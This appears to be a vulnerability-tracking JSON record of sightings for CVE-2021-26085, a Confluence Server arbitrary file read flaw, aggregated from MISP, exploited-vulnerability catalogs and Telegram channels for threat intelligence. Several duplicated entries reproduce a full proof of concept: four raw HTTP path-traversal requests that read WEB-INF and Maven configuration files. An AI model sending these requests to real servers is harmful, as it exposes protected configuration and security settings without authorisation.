{"vulnerability": "cve-2021-26085", "sightings": [{"uuid": "86d8d27f-6570-4ad2-90ef-4bddf7928054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "content": "", "creation_timestamp": "2021-10-25T22:32:43.000000Z"}, {"uuid": "96f48f22-bfe5-4026-ae55-8a6cc56cb2e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "bd3ce9ca-3a36-4ea9-b041-a5a8ac9090b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971482", "content": "", "creation_timestamp": "2024-12-24T20:29:57.802440Z"}, {"uuid": "7e4014e0-0cc8-4855-91df-f3352604cec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:29.000000Z"}, {"uuid": "dd20a0b3-46e7-4b03-af5f-de77a0338c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-26085", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8b0072f5-f85e-4406-8ef8-aae614fb5cae", "content": "", "creation_timestamp": "2026-02-02T12:27:55.459870Z"}, {"uuid": "96f5d504-fe65-4951-a62d-7d96c3c6cedc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/679", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability (CVE-2021-26085)\nURL\uff1ahttps://github.com/ColdFusionX/CVE-2021-26085", "creation_timestamp": "2021-10-12T05:12:34.000000Z"}, {"uuid": "dafa3586-6bde-475d-bd11-f6ad56dd7249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/ctinow/41906", "content": "MariaDB: Path Traversal CVE-2021-26086 CVE-2021-26085\n\nhttps://ift.tt/3q7raJ2", "creation_timestamp": "2021-11-05T19:01:32.000000Z"}, {"uuid": "a8392cba-51ef-45ac-96e0-9c0621f86d0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/cibsecurity/26724", "content": "\u203c CVE-2021-26085 \u203c\n\nAffected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint. The affected versions are before version 7.4.10, and from version 7.5.0 before 7.12.3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-03T07:27:39.000000Z"}, {"uuid": "30f76e3d-bdb2-4c42-9ed7-890d9086a570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/1124", "content": "1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086\n#exploit\n@BlueRedTeam", "creation_timestamp": "2021-10-13T10:34:16.000000Z"}, {"uuid": "5d55baff-63ef-4419-9220-2ac4a9727368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4511", "content": "#exploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2021-10-13T11:07:01.000000Z"}, {"uuid": "2c5b7e8c-a986-4281-8d26-7c3fca928601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/onelab1337/1832", "content": "#exploit\n\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\n\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\n\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2026-08-09T05:02:32.158225Z"}, {"uuid": "1446fe62-bf8c-4a09-8863-a0fde61f582f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/1832", "content": "#exploit\n\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\n\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\n\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2026-08-10T00:00:11.666491Z"}, {"uuid": "bbd497a0-c6e5-48f8-8fd3-7f30d714ea6e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5727ce39-f56c-4ea4-aa8e-6bb0dcd99a2c", "content": "", "creation_timestamp": "2026-06-19T12:47:21.206488Z"}, {"uuid": "bc944760-9073-40c0-b28a-869081582f1c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bd91315d-3fd6-4894-98d9-4d11b683acff", "content": "", "creation_timestamp": "2026-06-23T14:05:16.017211Z"}, {"uuid": "90345113-5925-4666-9cf0-192c6593ccf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/cissp/4592", "content": "Offensive security\nA Look At Some Real-World Obfuscation Techniques\nhttps://research.nccgroup.com/2021/10/12/a-look-at-some-real-world-obfuscation-techniques\n\nBlue Team Techniques\nIncident Response collection and processing scripts\nwith automated reporting scripts\nhttps://github.com/FSecureLABS/\ud83d\udc4d\ud83c\udffdLinuxCatScale\n\n#mThreat Research\n0-Day Hunting\n(Chaining Bugs/Methodology)\nhttps://blog.riotsecurityteam.com/0day-chains\n\nexploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2026-09-01T17:00:38.493293Z"}, {"uuid": "d074c4e7-50a0-42eb-8c6f-a7590ce0215b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/hacking_Attack/26333", "content": "Exploit Collector\nAtlassian Confluence Server 7.5.1 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png \nAtlassian Confluence Server version 7.5.1 suffers from a pre-authorization arbitrary file read vulnerability.\n\nMD5 | 4fa62bc6e28d287ea19c91e18c9cea00\n\nDownload\n# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability\n# Date: 2021-10-05\n# Exploit Author: Mayank Deshmukh\n# Author email: coldfusionx@outlook.com\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.5.0 versions before 7.12.3\n# Tested on: Kali Linux & Windows 10\n# CVE : CVE-2021-26085\n\nPOC #1 - web.xml\n\nGET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #2 - seraph-config.xml\n\nGET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #3 - pom.properties\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #4 - pom.xml\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.628988Z"}, {"uuid": "a7d6c0c4-374d-4bdb-a10b-e12c938cb52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/hacking_Attack/26333", "content": "Exploit Collector\nAtlassian Confluence Server 7.5.1 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png \nAtlassian Confluence Server version 7.5.1 suffers from a pre-authorization arbitrary file read vulnerability.\n\nMD5 | 4fa62bc6e28d287ea19c91e18c9cea00\n\nDownload\n# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability\n# Date: 2021-10-05\n# Exploit Author: Mayank Deshmukh\n# Author email: coldfusionx@outlook.com\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.5.0 versions before 7.12.3\n# Tested on: Kali Linux & Windows 10\n# CVE : CVE-2021-26085\n\nPOC #1 - web.xml\n\nGET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #2 - seraph-config.xml\n\nGET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #3 - pom.properties\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #4 - pom.xml\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.557765Z"}, {"uuid": "1c8f0989-0a7b-4d7f-b7a5-0ad26d08c1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "seen", "source": "https://t.me/cissp/4592", "content": "Offensive security\nA Look At Some Real-World Obfuscation Techniques\nhttps://research.nccgroup.com/2021/10/12/a-look-at-some-real-world-obfuscation-techniques\n\nBlue Team Techniques\nIncident Response collection and processing scripts\nwith automated reporting scripts\nhttps://github.com/FSecureLABS/\ud83d\udc4d\ud83c\udffdLinuxCatScale\n\n#mThreat Research\n0-Day Hunting\n(Chaining Bugs/Methodology)\nhttps://blog.riotsecurityteam.com/0day-chains\n\nexploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2026-09-02T01:04:23.321503Z"}, {"uuid": "fbaf9f71-7b6b-438d-8bf4-01ad7fd50d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/26333", "content": "Exploit Collector\nAtlassian Confluence Server 7.5.1 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png \nAtlassian Confluence Server version 7.5.1 suffers from a pre-authorization arbitrary file read vulnerability.\n\nMD5 | 4fa62bc6e28d287ea19c91e18c9cea00\n\nDownload\n# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability\n# Date: 2021-10-05\n# Exploit Author: Mayank Deshmukh\n# Author email: coldfusionx@outlook.com\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.5.0 versions before 7.12.3\n# Tested on: Kali Linux & Windows 10\n# CVE : CVE-2021-26085\n\nPOC #1 - web.xml\n\nGET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #2 - seraph-config.xml\n\nGET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #3 - pom.properties\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #4 - pom.xml\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:04.857769Z"}, {"uuid": "21d1230d-914f-49f0-97b1-3f8e6bcb18ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/26333", "content": "Exploit Collector\nAtlassian Confluence Server 7.5.1 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png \nAtlassian Confluence Server version 7.5.1 suffers from a pre-authorization arbitrary file read vulnerability.\n\nMD5 | 4fa62bc6e28d287ea19c91e18c9cea00\n\nDownload\n# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability\n# Date: 2021-10-05\n# Exploit Author: Mayank Deshmukh\n# Author email: coldfusionx@outlook.com\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.5.0 versions before 7.12.3\n# Tested on: Kali Linux & Windows 10\n# CVE : CVE-2021-26085\n\nPOC #1 - web.xml\n\nGET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #2 - seraph-config.xml\n\nGET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #3 - pom.properties\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #4 - pom.xml\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:47.433238Z"}, {"uuid": "511c027f-d678-48b4-b828-f14132e5b2f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4592", "content": "Offensive security\nA Look At Some Real-World Obfuscation Techniques\nhttps://research.nccgroup.com/2021/10/12/a-look-at-some-real-world-obfuscation-techniques\n\nBlue Team Techniques\nIncident Response collection and processing scripts\nwith automated reporting scripts\nhttps://github.com/FSecureLABS/\ud83d\udc4d\ud83c\udffdLinuxCatScale\n\n#mThreat Research\n0-Day Hunting\n(Chaining Bugs/Methodology)\nhttps://blog.riotsecurityteam.com/0day-chains\n\nexploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2026-09-10T17:00:04.331766Z"}, {"uuid": "d771cac7-6c5e-4b71-990e-fc4edba53bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26085", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4592", "content": "Offensive security\nA Look At Some Real-World Obfuscation Techniques\nhttps://research.nccgroup.com/2021/10/12/a-look-at-some-real-world-obfuscation-techniques\n\nBlue Team Techniques\nIncident Response collection and processing scripts\nwith automated reporting scripts\nhttps://github.com/FSecureLABS/\ud83d\udc4d\ud83c\udffdLinuxCatScale\n\n#mThreat Research\n0-Day Hunting\n(Chaining Bugs/Methodology)\nhttps://blog.riotsecurityteam.com/0day-chains\n\nexploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "creation_timestamp": "2026-09-11T00:00:32.228705Z"}]}